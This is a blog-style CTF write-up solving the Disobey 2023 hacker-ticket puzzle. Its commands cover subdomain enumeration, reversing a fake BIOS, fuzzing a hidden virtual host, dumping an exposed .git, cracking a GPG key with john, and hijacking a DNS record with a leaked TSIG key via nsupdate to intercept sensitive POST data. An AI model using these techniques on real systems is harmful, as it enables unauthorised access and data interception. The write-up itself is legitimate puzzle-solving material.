After 2 skipped events, and normal and supporter tickets selling out in record time, the hacker puzzle originally launched for Disobey 2021 in October 2020 became one of the only ways to attend Disobey 2023, peaking interest in it again, and finally bringing the Hacker tickets close to selling out (I'm writing this as there are 8 tickets left).
I'd like to emphasise that for some parts, especially earlier on, there are multiple ways to get to the next step, and this writeup won't be an exhaustive report of all possible paths and will only go through the steps I personally took. I only won't mention most of the many, MANY red herrings and rabbit holes scattered throughout, but know they were numerous and annoying 😂
There are no clear "subtasks" here, but I'll split things up roughly in chapters based on my own interpretation.
Unlike in previous years where the puzzle started on the Disobey website, this puzzle's starting point was this tweet on the official Disobey Twitter, tagging @KouvostoTelecom and hinting that many of the tasks would revolve around OpSec.
Checking the Kouvosto Telecom Twitter account didn't yield anything interesting, but their bio links to their website www.kouvostotele.com. The site is hosted on GitHub Pages and doesn't contain anything too interesting.
Checking the DNS records for kouvostotele.com and the www subdomain confirms that www is hosted on GitHub, and the A record on the root domain pointing to a private LAN address is the beginning of a theme repeated throughout the puzzle.
My first (productive) idea was to try and find some more subdomains, so I ran subfinder -d kouvostotele.com
and got a list:
blog.kouvostotele.com
internal.kouvostotele.com
www.kouvostotele.com
files.kouvostotele.com
Checking the IPs for blog
and internal
yielded a ghandi.net CNAME record and another internal LAN IP, so I skipped those, and focused on files
. A cursory Nmap showed open FTP and SSH ports. SSH being in-scope for CtFs isn't unheard of, but certainly uncommon, so I opted to try and see if the FTP server had anonymous login enabled, and sure enough it did.
There was only one directory available, which contained 20 meme images and a README file, with the content:
Saboten firmware files have moved!
You can find the files at:
ftp://saboten.kouvostotele.com/prod/sb-ihv/firmware/
Alright, another anonymous FTP server, this time with a lot more content.
The Documents
folder contained two files:
Study.odt
a mostly nonsensical medical paper titled "Prohibitive effects of dietary and metabolic variance for donor-recipient in extensive organ transplant operations" talking about human testing of implants for enforcing something called "Parallel Imparted Preferences" by Kouvosto Telecom and an unnamed partner. The text is integral to the "storyline" of the puzzle, but as far as I know, isn't useful for actually solving it 😉MRI.zip
a zip compressed PNG file of an MRI of a brain, with a section zoomed in with a light cylindrical mass, that has some kinds of 2D barcode on it.
(scaled down, click for original size)
The two barcodes are an AZTEK code that reads "Saboten Biomedical NX-H218 S/N 000000001 FCC ID: KRJFSICIIFJEIRKS" and a Dotcode that's IMHO unreadable from the MRI image, but will be present later on in another image. So now we know Saboten stands for Saboten Biomedical, and we have a hint as to which firmware files we should be looking at, the ones for NX-H218.
The prod/sb-ihv/firmware
folder contains a bunch of device ID subfolders, each further containing version or revision ID looking folder names like 1-10-1.0
, 1.86.29530
and 0-00-3.1
. Each of these contains a bin
subfolder which, in turn, contains a bin.7z
archive, always containig a file named bin
.
Looking through these bin
files, they're all different, but mostly have very similar content:
(scaled down, click for original size)
A lot (read, almost exclusively) double bytes without a lot of sharp changes in value. Now this made me suspect image data, so I popped one of the files into my favourite tool for analysing raw pixel data https://rawpixels.net/. Fiddling around with the pixel format and width for a bit, yields a very legible slice of an image:
So I extracted all the files that followed the same format (there are two that don't, more on them later), named them sequentially, padded them on both sides with some zero bytes and concatenated them into a single file. I opened that file as a RAW 16-bit image in Gimp and began re-ordering the pieces.
Left here is my re-ordered reconstruction with the black padding, and right is the final image resulting from concatenating the images together in correct order.
If the pattern of the dots looks familiar, it's identical to the one in the MRI image, except this time legible enough to reconstruct back into a Dotcode that could be readable. This could've probably been done with computer vision, but I opted to open the image in Gimp, adding a new layer over the original, sizing up a hard round brush to the same size as the dots and going through the dots stamping a solid black dot on the new empty layer on top of every dot in the image. It took about 40 minutes with two breaks and listening to BTS and drinking chai.
The result was this image:
Scanning it in results in the text ftp://saboten.kouvostotele.com/prod/sb-ihv/firmware/NX-H218/0-00-3.1/bin/bin.7z
.
0-00-3.1 was one of the few files that didn't fit into the 16-bit image scheme, so now we managed to hammer down on a single one of the 30 files to analyse.
Running file
on the bin
file from 0-00-3.1 returns ELF 64-bit LSB executable, x86-64, version 1 (FreeBSD), dynamically linked, interpreter /libexec/ld-elf.so.1, for FreeBSD 12.0 (1200086), FreeBSD-style, stripped
.
Looking through the code in a disassembler, it very quickly becomes evident the file is a binary for the program sleep
from GNU coreutils, specifically the version shipped with FreeBSD. The file is 128KiB in size, though, when the binary from FreeBSD is less than 20KiB. To try and isolate the other data from the sleep binary, I opened the file in Binary Ninja and opened the structural view offered by the excellent Kaitai plugin:
This way it's easy to see the sleep binary ends at file offset 0x3C18. So I removed all bytes before that offset and re-opened the file to start examining the rest of the data. There are ~50KiB of quite random bytes, then a few legible English strings, and then a big ~63KiB block of 0x41 bytes until the end of the file.
The strings in the middle are
- PCI INIT FAILED, NOT ENOUGH MEMORY
- PCI DEVICE FOUND, VENDOR ID:
- END REACHED
- DEBUG, AX:
So, looks like code. Making an educated guess based on the "DEBUG, AX", I analysed the file as 16-bit x86.
Binary Ninja identified a bunch of functions that all seemed real and "made sense". I still didn't have a great idea of what the code was, nor did I have an entry-point. I tossed the code around a bit until I took a closer look at the big 0x41 padding block, and noticed that I'd missed something kind of crucial 😅. At the end of the block, there were four non-0x41 bytes: FA E9 0C 00 followed by 12 more 0x41s
🤦♀️
So yeah, that's
cli
jmp 0xc
followed by 12, or to put it another way 0xc, more padding bytes. e9 is a near jump, meaning it'll jump within the current codepage, and jumping 12 bytes from 12 bytes away from the end, this means wrapping to the beginning of the codepage, which are 64KiB, or 0x10000 bytes. I found the entry point, and I also realised what code this is, which in hindsight should've been obvious.
This was firmware for an embedded biomedical implant, running x86 code. What's the "firmware" for an x86 CPU? The BIOS.
Truncating all the bytes before the new entry point and again re-opening the file, we now had PERFECTLY legible code with nice and correct data references to the strings and I also spotted another bit of data, a 45 byte string looking suspiciously like base64 encoding. Going through the code, there's some very basic setup, then the entry-point code calls three functions one after another:
- a short initialisation function that writes 'free' and 0x0fff to memory
- a longer way more complicated function tha calls a bunch of other functions referencing those PCI enumeration strings
- a shorter function that writes a bunch of bytes to memory, most of them in sequence at 0x500-0x506 and then jumps to 0x500
So the code is self-modifying. Rather than starting to statically analyse self-modifying code, I opted instead to pop the firmware into qemu and to debug it with gdb.
Now I love gdb, great debugger. Add pwndebug on top of it and maybe the best debugger 🤔 But you know what gdb isn't amazing at? Remotely debugging real-mode 16-bit x86 code 😅 If you just connect to the qemu gdb stub as-is, you won't get disassembly (the instruction pointer is wrong) and all the registers will have wrong values.
Luckily there's an easy fix. @AstralVX has written a nice article called Debuggint 16-bit in QEMU with GDB on Windows. A lot of it isn't relevant, but I used his nice gdb real-mode script and xml definitions as a base for my own. astralvx's step-over function didn't work for me, and I wanted an easy way to automagically keep stepping until a certain address was reached. My version of the original script only offers two commands step_until_addr
which takes one parameter and keeps repeating si
until that address is reached, and step_until_ret
a slight modification of the command in the original script of the same name tha repeats si
until the Instruction Pointer points at a return instruction.
So I launch the binary in qemu with qemu-system-i386 -nographic -L . -bios nx-h218.bin -S -s
, which will load the binary as a BIOS, load the gdb stub and immediately break before the first instruction. Then I connect in with gdb by commanding gdb -ix gdb_16bit_realmode.txt -ex "set tdesc filename target.xml" -ex "target remote localhost:1234"
which loads the real mode script, loads the target descriptions and connects to qemu's gdb stub.
Now we have a nice disassembly for a few instructions from the IP, all the registers and the memory pointed at by DS:SI and ES:DI.
Stepping a few times we land at the entry-point we previously identified. Now I was WAY more interested in the self-modifying code in the third function called from the entry-point than the previous PCI enumeration mess. Having ran the binary a few times in qemu before debugging, it had output:
PCI DEVICE FOUND, VENDOR ID: 8086
PCI DEVICE FOUND, VENDOR ID: 8086
PCI DEVICE FOUND, VENDOR ID: 1234
5432
Invalid credentials & address given!
The PCI lines are unsurprisingly output during the second function, but the rest of the output happens in the third and the following self-modifying code.
The third function is called at address 0xf001d, so calling step_until_addr 0xf001d
and doing one more si
we're in the function we're interested in.
The code sets up
si
and di
for moving data back and forth, zeroes out some addresses used as counters, sets up cx
as a counter, and then jumps to the self-modifying code.
I won't go through the code line-by-line, but it basically copies the aforementioned base64-looking byte sequence to 0x8c00 in memory then starts loading bytes from 0x495, XORing them with 0x41 and storing the results at 0x2000
Checking 0x495 in Binary Ninja and using the Transform -> XOR function with 0x41 we get some seemingly random bytes and the string "Correct credentials & address provided Connection "
Stepping over the code's loops it decrypts a bunch of data, and two legible strings
- "Correct credentials & address provided\n\rConnection timed out, retry manually.\n\r"
- "Invalid credentials & address given!\n\r"
So we found our error message, getting closer. After the decryption, the code jumps to 0x2000 the beginning of the memory region where the decrypted data was written. Running Binary Ninja's "Define function" on the XOR'd data reveals a function that compares the decrypted data from 0x20AF byte-by-byte with the base64-esque string at 0x8C00. Again in Binary Ninja, taking the XOR'd bytes at corresponding with the ones at 0x20AF in memory, and XORing them with the base64-ish string, we get:
ftp://kt:[email protected]
Nice. Connecting to the FTP, there is just one file: PO31337-iPhone-forensics.pdf
.
(scaled-down, click for original)
The PDF seems uninteresting otherwise, but does provide us with a new domain, forensics.uxin.fi. Checking the DNS info, the root domain is again a private LAN address, and there are TXT records indicating the forensics subdomain is in scope, but the root domain is not. Checking the website, it's a very stereotypical company website advertising Üxin's credentials, introducing four employees Juuno, Anttu, Lara and Timi, some customer testimonials and two blog posts.
(scaled-down, click for original)
One post is about a deal with Kouvosto Telecom, the other is about a new "military grade" secure-files platform.
The latter is written by Lara, whose author bio in the blog reads "MGE and modern World Wide Web technologies are nice." The post contains a link to the secure-files platform, but the DNS A record for the secure-files subdomain is set to localhost.
Using the -H option in curl to provide a different Host header to the server, curl -H "Host: secure-files.uxin.fi" https://forensics.uxin.fi/
returns a 401 Authorization Required
a HTTP error.
Not having much else to go off of, I tried to find any non-protected files on the secure-files platform using ffuf.
Commanding ffuf -w /usr/share/wordlists/dirbuster/directories.jbrofuzz -ic -H "Host: secure-files.uxin.fi" -mc all -fc 401,404 -u https://forensics.uxin.fi/FUZZ
(because we want files that exist, so we filter out 404s, and files that aren't protected, so we filter out 401s) we get a 301 redirect from /backup
to https://secure-files.uxin.fi/backup/
(this redirect is the reason we can't use ffuf's recursion) so let's continue from /backup/
.
Anoter round of ffuf later we're at /backup/users/
. Seems logical to try the employees, and a common username naming scheme for small companies is to just use the first name, unless there are more people with the same first name. The only user that seems to have a folder here is timi
. Further fuzzing /backup/users/timi
yields /backup/users/timi/.git/
.
Maxime Arthaud's git-dumper seems like the perfect tool, here. Simply commanding git-dumper -H Host=secure-files.uxin.fi https://forensics.uxin.fi/backup/users/timi/ ~/uxin/timigit
will get the whole .git
from the server without hassle. The repository is missing a working tree, though, so to get the commit log, we do a git --work-tree=. log
and get
commit 6c1ddbb58373e2f045a671cff7203afab4e7f0f5 (HEAD -> master)
Author: Timi Miespera <[email protected]>
Date: Mon Oct 12 11:08:06 2020 +0000
Added iPhone image acquisition photos.
commit 84855f529022de833495efcc429130934caf3f35
Author: Timi Miespera <[email protected]>
Date: Sun Oct 11 21:01:41 2020 +0000
Fixing directory names and wrong PGP file. Adding some nice photos.
commit bf3f05359e41147481afc2df2fc883913901f3e8
Author: Timi Miespera <[email protected]>
Date: Sun Oct 11 20:46:18 2020 +0000
Backup of my Linux home directory
Restoring .gitignore
with git --work-tree=. restore .gitignore
we get
.passwrod-store
.gnupg
.zcompdump*
.viminfo
.bcksp/priv.key
.oh-my-zsh
The obvious typo in .passwrod-store
seems promising. Instead of manually restoring files and hopping between commits, since there are only three commits, let's use Extractor from GitTools.
Commanding ~/GitTools/Extractor/extractor.sh ~/uxin/out ~/uxin/ext
will create a subfolder in ~/uxin/ext
for each commit, with all the files at their current states for that commit inside.
Browsing the very much not ignored .password-store
folder, we find 3 .gpg
files, encrypted messages:
./never/stop/the/madness.gpg
./uxin/secure/timi.gpg
./greetings/from/whois.gpg
I think I can already guess the contents of the other two, but ./uxin/secure/timi.gpg
seems promising. Now we just need to decrypt it.
Checking the public.key
file from the commit bf3f053
, the commit before the one with the message Fixing directory names and wrong PGP file.
it becomes clear "wrong PGP file" in this context means "Secret GPG Key instead of Public" 😁
The secret key IS password protected, but seeing as we've been skating on by horrid OpSec mistakes so far, let's give bruteforce a go:
$ gpg2john private.key > hash
File private.key
$ john --wordlist=/usr/share/wordlists/rockyou.txt hash
Created directory: /home/shinmai/.john
Using default input encoding: UTF-8
Loaded 1 password hash (gpg, OpenPGP / GnuPG Secret Key [32/64])
Cost 1 (s2k-count) is 65011712 for all loaded hashes
Cost 2 (hash algorithm [1:MD5 2:SHA1 3:RIPEMD160 8:SHA256 9:SHA384 10:SHA512 11:SHA224]) is 2 for all loaded hashes
Cost 3 (cipher algorithm [1:IDEA 2:3DES 3:CAST5 4:Blowfish 7:AES128 8:AES192 9:AES256 10:Twofish 11:Camellia128 12:Camellia192 13:Camellia256]) is 7 for all loaded hashes
Will run 6 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
iloveyou! (Timi Miespera)
1g 0:00:00:12 DONE (2022-11-15 15:57) 0.08278g/s 81.95p/s 81.95c/s 81.95C/s iloveyou!..joshua1
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Alright! Let's import the secret key into our gpg keyring and decrypt the files in .password-store
. We do a gpg --allow-secret-key-import --import private.key
enter iloveyou!
as the password, and then go to .password-store/uxin/secure/
and simply command gpg --decrypt timi.gpg
gpg: Note: secret key BB61D5A4F4B8DD5D expired at Mon 12 Oct 2020 03:04:52 PM EEST
gpg: encrypted with 1024-bit RSA key, ID BB61D5A4F4B8DD5D, created 2020-10-11
"Timi Miespera <[email protected]>"
{/w8P;;}aED,{8s$
So, back to secure-files, let's see if we can authenticate! curl -H 'Authorization: Basic dGltaTp7L3c4UDs7fWFFRCx7OHMk' -H 'Host: secure-files.uxin.fi' 'https://forensics.uxin.fi/'
returns a PNG image.
Thinking back on the website, and Lara's bio, what's an UDP based modern Web technology? QUIC / HTTP-3.
curl doesn't support HTTP-3 out-of-the-box in any distribution I know of, but there are fairly okay instructions on how to enable it in a custom build. After some headaches from libcurl and curl binary mismatches, we have an HTTP-3 capable curl. Let's give it a go!
Oh, yeah, the authentication 😅
$ curl --http3 -H "Host: secure-files.uxin.fi" -H "Authorization: Basic dGltaTp7L3c4UDs7fWFFRCx7OHMk" https://forensics.uxin.fi/
<html>
<head><title>Index of /</title></head>
<body>
<h1>Index of /</h1><hr><pre><a href="../">../</a>
<a href="KT_Forensics_iPhone_image.7z">KT_Forensics_iPhone_image.7z</a> 12-Oct-2020 12:31 3167184323
<a href="readme.txt">readme.txt</a> 12-Oct-2020 21:01 150
</pre><hr></body>
</html>
$ curl --http3 -H "Host: secure-files.uxin.fi" -H "Authorization: Basic dGltaTp7L3c4UDs7fWFFRCx7OHMk" https://forensics.uxin.fi/readme.txt
Hi Timi,
Please investigate this iPhone as soon as possible! There might be some sensitive information for KT.
Best regards,
Anttu Kuura
Your Boss.
Downloading the 3GiB 7z file with the iPhone forensics data inside proved to be a HUGE hassle, because the HTTP-3 server was HORRIBLY unreliable. I basically had to do curl --http3 -H "Host: secure-files.uxin.fi" -H "Authorization: Basic dGltaTp7L3c4UDs7fWFFRCx7OHMk" https://forensics.uxin.fi/KT_Forensics_iPhone_image.7z -O
followed by a series of curl --http3 -H "Host: secure-files.uxin.fi" -H "Authorization: Basic dGltaTp7L3c4UDs7fWFFRCx7OHMk" https://forensics.uxin.fi/KT_Forensics_iPhone_image.7z -O -C `stat --format="%s" KT_Forensics_iPhone_image.7z`
calls to keep continuing the download from where it failed.
But eventually I had the Kouvosto Telecom iPhone image to start poking at.
I started off by extracting the private folder from the filesystem file with dar -x FullFileSystem -g private
.
Then I did a quick search for interesting things with a very basic method: grep -lir kouvosto
. Out of the results, the most promising seemed the results from /private/var/mobile/Library/Mail
. Looking through the e-mails, /private/var/mobile/Library/Mail/CEAB6F3D-B8DC-47DD-863F-F21B818B0064/INBOX.imapmbox/Messages/5944AEEC-9205-42B5-A652-B5EF4D9553C1.1.2.emlxpart
contains:
<div dir=3D"ltr"><br><div>Hi Seppo!</div><div><br></div><div>I was finally =
able to deploy the production site beacon to submit metrics to our servers.=
As you might be aware, the early 90's server hardware we're using =
is struggling with keeping up with the load. I was able to come up with a g=
enius=C2=A0client side load balancing solution=C2=A0to mitigate this issue.=
It's probably one of the best solutions I have come up with this far!<=
/div><div><br></div><div>As you know, the data we're sending out is hig=
hly sensitive because of the production plant operations, so in the example=
I have attached to this email just includes testing data. I believe the so=
lution is bullet proof as we really don't want the operations to be exp=
osed to the public. However I'd like you to verify=C2=A0it (see the att=
achment).</div><div><br></div><div>Password for the archive is hunteR2</div=
><div><br></div><div><br></div><div>--</div><div>Mauno Rajam=C3=A4ki</div><=
/div>
/private/var/mobile/Library/Mail/CEAB6F3D-B8DC-47DD-863F-F21B818B0064/INBOX.imapmbox/Attachments/25/2/lb.zip
is the attachment mentioned in the message, and sure enough, hunteR2
allows us to extract submission_example.pcap
. So let's investigate this "client side load balancing solution".
In Wireshark we see there are a whole lot of SSH sessions going on, and as we've not seen any SSH keys during the puzzle, I suspect they're there as background noise. Setting up a filter !tcp.port==22
makes the timeline a lot more clear.
First 94.237.109.63
connects to 94.237.108.204
on TCP port 1984 and the following session ensues:
Ooh, nice, a TSIG key.
Looking further, 94.237.109.63
again connects to 94.237.108.204
, this time on port 53, and using the TSIG key first removes all entries for crunch.kt.3g.re
and then adds an A record with a 2 second TTL for the same subdomain pointing to 94.237.108.204
. 94.237.109.63
then does an HTTP POST to https://crunch.kt.3g.re/submit/
and receives a response
{"result": "success"}
Okay, so the "load balancing" is to only have a DNS record for the receiving server when in use. 😂 Seems like Kouvosto Telecom, alright. Being overtly hopeful we try and replicate what the pcap does with a curl http://94.237.108.204/submit/ -H "Host: crunch.kt.3g.re" -X POST
but the server just responds with {"result": "error", "message": "Under a heavy load."}
. Well, let's be helpful an provide KT with a less taxed server endpoint!
Taking the TSIG key from the pcap, we use nsupdate
to set the subdomain to our own IP:
server 94.237.108.204
zone 3g.re
key hmac-sha512:updatekey GZ+xb9VxTX5WrwFM7L8D4YR1NC5G3WJNxOalrApwrxKA2uTCTpzRPEDXfu8aRubUJKOMb5M3iOsTQh0mgOyV1A==
update delete crunch.kt.3g.re. 0 ANY
update add crunch.kt.3g.re. 2 IN A [OUR_IP]
send
quit
and then launch nc -l 80 and wait.
After a few moments, ta-da!
Connection from 94.237.109.63:60278.
POST / HTTP/1.1
Host: crunch.kt.3g.re
User-Agent: Kouvosto Telecom sensitive data submission agent (military grade)
Transfer-Encoding: chunked
Content-Type: application/ktson
Accept-Encoding: gzip
379
{
"beacon_name": "chipper",
"beacon_ip_address": "172.16.104.32",
"beacon_model": "KVR-L200",
"beacon_firmware": "0.7.1b.83340",
"beacon_serial": "80860600021",
"beacon_location": "Saboten Biomaterial Factory #7",
"timestamp": 2718658601,
"meta_data":
{
"datatype": "KTBBD",
"version": "0.7a"
},
"events": [
{
"rssi": "-42",
"data": "aHR0cHM6Ly9ob2x2aS5jb20vc2hvcC9EaXNvYmV5L3Byb2R1Y3QvNTgyODkxZDU3YjcwZDEyOWYwN2NkZjJjNzNlMzg4NTMv",
"srData": "I29pc2pvaGFja2VyYmFkZ2U=",
"timestamp": 2718658599,
"device_ktid": "5468616e-6b20-796f-7520-666f72207472-79696e672068-617264657221"
},
{
"rssi": "-36",
"data": "SXQncyBkYW5nZXJvdXMgdG8gZ28gYWxvbmUhIEhlcmUsIHRha2UgdGhpczo=",
"timestamp": 2718658594,
"device_ktid": "5468616e-6b20-796f-7520-666f72207472-79696e672068-617264657221"
}
]
}
0
The first data payload is the url https://holvi.com/shop/Disobey/product/582891d57b70d129f07cdf2c73e38853/
base64 encoded, which is the secret URL to buy a Hacker ticket. Yay!
I left out A LOT of frustrating false clues, red herrings and rabbit holes, which were close to ruining the puzzle for me, as was the general unreliability of the puzzle infra especially for the latter stages. (For the DNS redirection thing, I had to re-try my exact solution literally dozens of times before it finally worked, the iPhone image download had to be re-resumed dozens of times and often the server was just completely unavailable, even though I had my curl build's timeout set to 30 seconds) Still, all in all it was a fun puzzle and it was really nice to get it done, since this was one of the only ways to get to Disobey 2023 at this point.